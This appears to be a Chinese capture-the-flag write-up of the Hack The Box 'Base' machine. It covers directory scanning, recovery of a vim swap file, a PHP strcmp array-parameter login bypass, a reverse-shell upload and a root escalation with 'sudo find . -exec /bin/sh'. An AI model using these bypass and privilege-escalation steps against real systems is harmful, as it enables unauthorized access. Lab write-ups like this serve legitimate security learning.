HTB_Base_php弱类型与find命令提权

news2024/11/14 21:40:15

至此,startpoint部分就完成了,也初步建立的渗透测试的思路和体系
温故而知新,可以为师矣

文章目录

    • 信息收集
    • php弱类型 & strcmp绕过
    • GTFOBins 二进制常用命令find提权

信息收集

nmap -sC -A -Pn ip

开放端口2280

dirsearch 扫描目录,发现存在目录遍历,且有文件泄露

在这里插入图片描述

config.php 没有响应,login.php 跳转到登录页面,login.php.swp点击可下载到本地,这是vim编辑文件时崩溃产生的缓存文件,使用如下命令回复

vim -r login.php.swp

直接Enter,看到源码

在这里插入图片描述

<?php
session_start();
// 判断用户名密码不为空
if (!empty($_POST['username']) && !empty($_POST['password'])) {
    // 引用 config.php 配置文件
    require('config.php');
    // 比较两个参数是否相等 相等返回 0 
    if (strcmp($username, $_POST['username']) == 0) {
        if (strcmp($password, $_POST['password']) == 0) {
            // 设置 user_id = 1
            $_SESSION['user_id'] = 1;
            // 跳转到上传页面
            header("Location: /upload.php");
        } else {
            print("<script>alert('Wrong Username or Password')</script>");
        }
    } else {
        print("<script>alert('Wrong Username or Password')</script>");
    }
}
?>
    ...

php弱类型 & strcmp绕过

问题出在这里

if (strcmp($username, $_POST['username']) == 0) {
        if (strcmp($password, $_POST['password']) == 0) {

如果此时传递的参数是数组,那么strcmp会返回NULL,而NULL==0会返回TRUE,从而绕过判断

# 数组类型的参数在变量后加 [] 即可
username[]=min&password[]=xds

在这里插入图片描述

这样就跳转到上传页面了,上传个反弹脚本,成功,此时需要知道上传文件的路径

在这里插入图片描述

gobuster dir -u http://10.129.143.141 -w /usr/share/wordlists/dirb/big.txt

暴破出路径

在这里插入图片描述

点击

在这里插入图片描述

查找文件,获取到一个账号密码,是网站管理员,登录后就是上传页面

在这里插入图片描述

也是john用户的密码

在这里插入图片描述

GTFOBins 二进制常用命令find提权

之前用 vim提权时接触过

sudo -l

在这里插入图片描述

到网站查询如何提权,执行如下命令

sudo find . -exec /bin/sh \; -quit

在这里插入图片描述

不可思议

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/187776.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文5000字手把手教你使用jenkins搭建一个中小企业前端项目部署环境

本文你能学到什么? 传统发布和现在发布的对比和区别 项目案例-手动上传服务器&#xff0c;使用jenkins上传服务器 配置不同的发布环境 配置域名 配置https 配置钉钉机器人通知【文末有配套资源领取】 服务器购买&#xff1a;抢占式实例 Jenkins 安装 示例服务器为 阿里…

系统移植 tf-a

1、从ST官网下载TF-A源码&#xff0c;将TF-A源码拷贝到ubuntu中并进行解压。 2、进入tf-a源码&#xff0c;阅读README.HOW_TO.txt帮助文档。 3、分析帮助文档。 分析文档可得&#xff0c;移植tf-a到开发板中步骤为&#xff1a;对tf-a源码进行解压&#xff1b;打补丁&#xff…

ElasticSearch从入门到出门【上】

文章目录初识elasticsearch了解ESelasticsearch的作用ELK技术栈elasticsearch和lucene为什么不是其他搜索技术&#xff1f;倒排索引正向索引倒排索引正向和倒排ES的一些概念文档和字段索引和映射mysql与elasticsearch安装elasticsearch部署单点es部署kibana安装IK分词器在线安装…

SpringBoot 使用自定义的方式整合Druid数据源(powernode document)(内含源代码)

SpringBoot 使用自定义的方式整合Druid数据源&#xff08;powernode document&#xff09;&#xff08;内含源代码&#xff09; 源代码下载链接地址&#xff1a;https://download.csdn.net/download/weixin_46411355/87404561 目录SpringBoot 使用自定义的方式整合Druid数据源…

SQLSERVER 的 nolock 到底是怎样的无锁?

一&#xff1a;背景 1. 讲故事 相信绝大部分用 SQLSERVER 作为底层存储的程序员都知道 nolock 关键词&#xff0c;即使当时不知道也会在踩过若干阻塞坑之后果断的加上 nolock&#xff0c;但这玩意有什么注意事项呢&#xff1f;这就需要了解它的底层原理了。 二&#xff1a;n…

python之np.sum()用法详解

python库numpy提供的求和方法np.sum()&#xff0c;可以对数组和矩阵进行求和。sum方法可以接收多个参数&#xff0c;主要是数组a,坐标轴axis,数据类型dtype,初始值initial。其中&#xff0c;axis对于我们来说比较容易迷糊&#xff0c;这个值对求和有什么影响&#xff1f;一般来…

Linux常用命令——rcp命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) rcp 使在两台Linux主机之间的文件复制操作更简单 补充说明 rcp命令使在两台Linux主机之间的文件复制操作更简单。通过适当的配置&#xff0c;在两台Linux主机之间复制文件而无需输入密码&#xff0c;就像本地文…

React基础入门(一)

1、React简介 官网 英文官网: https://reactjs.org/ 中文官网: https://react.docschina.org/ 描述介绍 用于动态构建用户界面的 JavaScript 库(只关注于视图) 由Facebook开源 React特点 1、声明式编码 2、组件化编码 3、React Native 编写原生应用 4、高效&#xff08;优秀…

苹果不小心删了照片怎么恢复?苹果照片删除后如何恢复

苹果不小心删了照片怎么恢复&#xff1f;请保持冷静&#xff0c;不要往mac中写入新的东西&#xff0c;以防丢失的照片被覆盖。接下来&#xff0c;我们一起来探讨一下mac照片恢复的技巧。 方法一、从“最近删除”文件夹中恢复照片 使用照片管理应用程序&#xff08;例如Mac上的…

百趣代谢组学分享Lip-SMap:绘制代谢物和蛋白相互作用图谱的新方法

百趣代谢组学文献分享&#xff0c;自2014年瑞士苏黎世联邦理工学院的Picotti和她的研究小组开始用Lip-SRM法测量复杂蛋白质混合物的大量结构改性蛋白质以来[1]&#xff1b;该研究小组随后对方法进行改进&#xff0c;研究了复杂细胞基质中几种生物蛋白质的热稳定性&#xff0c;并…

袁树雄和唐磊关系迎来转折,王勇把他们两个和杨语莲拉进一个群

自从《早安隆回》火爆全网之后&#xff0c;创作者袁树雄就遭遇各种非议&#xff0c;就是他的同行唐磊老师&#xff0c;也勇敢站出来点评。唐磊老师也是一名音乐人&#xff0c;当年他凭借《丁香花》&#xff0c;一夜之间响彻大江南北&#xff0c;成为了家喻户晓的大明星。 虽然唐…

1行Python代码识别车牌号码,轻松写一个停车场管理系统,YYDS

大家好&#xff0c;这里是程序员晚枫。 你家停车场的摄像头&#xff0c;是怎么识别出你的车牌的&#xff1f;今天我们一起来看一下~ 识别车牌 识别车牌的代码很简单&#xff0c;只需要1行代码&#xff0c;如下所示。&#x1f447; # pip install poocr import poocr# 可以填…

Day1 CF847 div3 vp A-E

Dashboard - Codeforces Round #847 (Div. 3) - Codeforces感觉想试试隔一天vp一场div3/4&#xff0c;那就试试吧本来想把F补完再写的&#xff0c;但是感觉有点晚了&#xff0c;那就将就一下吧&#xff0c;F有缘单独补&#xff0c;嘻今晚浅浅vp了一下&#xff0c;一鼓作气地打出…

聊聊如何利用apollo与druid整合实现数据源动态热切

前言 本文的素材来源与某次和朋友技术交流&#xff0c;当时朋友就跟我吐槽说apollo不如nacos好用&#xff0c;而且他们还因为apollo发生过一次线上事故。 故事的背景大概是如下 前阵子朋友部门的数据库发生宕机&#xff0c;导致业务无法正常操作&#xff0c;当时朋友他们数据…

【JavaEE进阶】锁的特性

目录 一、乐观锁&悲观锁 二、公平锁&非公平锁 三、可重入锁&非可重入锁 四、读写锁&互斥锁 互斥锁 读写锁 读写锁涉及的类:ReentrantReadWriteLock 读写锁的优势: 五、轻量级锁&重量级锁 六、CAS ①基于CAS实现原子类 下面&#xff0c;来一段CAS的伪…

举个栗子~Tableau 技巧(250):创建 KPI 指标突出显示表

上一个栗子发出后&#xff0c;有数据粉反馈&#xff1a;有什么办法可以让全年的销售数据分层显示哇&#xff1f;业绩表现好、一般和差的分别使用不同的底色。 这个需求&#xff0c;如果考核的是名次&#xff0c;可以使用 &#x1f330; 用颜色突出显示前N项(TopN)和后N项(Bott…

samba设置文件共享

前提说明本人使用的系统如下共享文件的系统&#xff1a;ubuntu 版本&#xff1a;18.04.6目标系统&#xff1a;windows11安装sambasudo apt-get install samba修改配置文件sudo vim /etc/samba/smb.conf文件末尾添加以下内容[share] # 共享的名称&#xff0c;可以自行定义 c…

完整数据分析流程:Python中的Pandas如何解决业务问题

开篇 作为万金油式的胶水语言&#xff0c;Python几乎无所不能&#xff0c;在数据科学领域的作用更是不可取代。数据分析硬实力中&#xff0c;Python是一个非常值得投入学习的工具。 这其中&#xff0c;数据分析师用得最多的模块非Pandas莫属&#xff0c;如果你已经在接触它了…

c#入门-异步方法

异步方法 如果一个操作会返回Task&#xff0c;那么用这个操作续接后续操作&#xff0c;也会得到Task。 也就是说Task具有传染性&#xff0c;最终拼凑出来的Task非常复杂。 使用异步方法&#xff0c;可以简化Task的拼凑。 async修饰 异步方法需要添加async修饰符。并且通常方…

【前端】Vue项目:旅游App-(15)home:网络请求house数据、动态并组件化展示house列表信息

文章目录目标过程与代码content组件请求数据&#xff1a;houseListrequeststore控制台输出动态加载更多列表数据house-item组件阶段1&#xff1a;数据传送阶段2&#xff1a;对着目标写样式house-item-v9house-item-v9&#xff1a;debughouse-item-v3阶段3&#xff1a;总体效果效…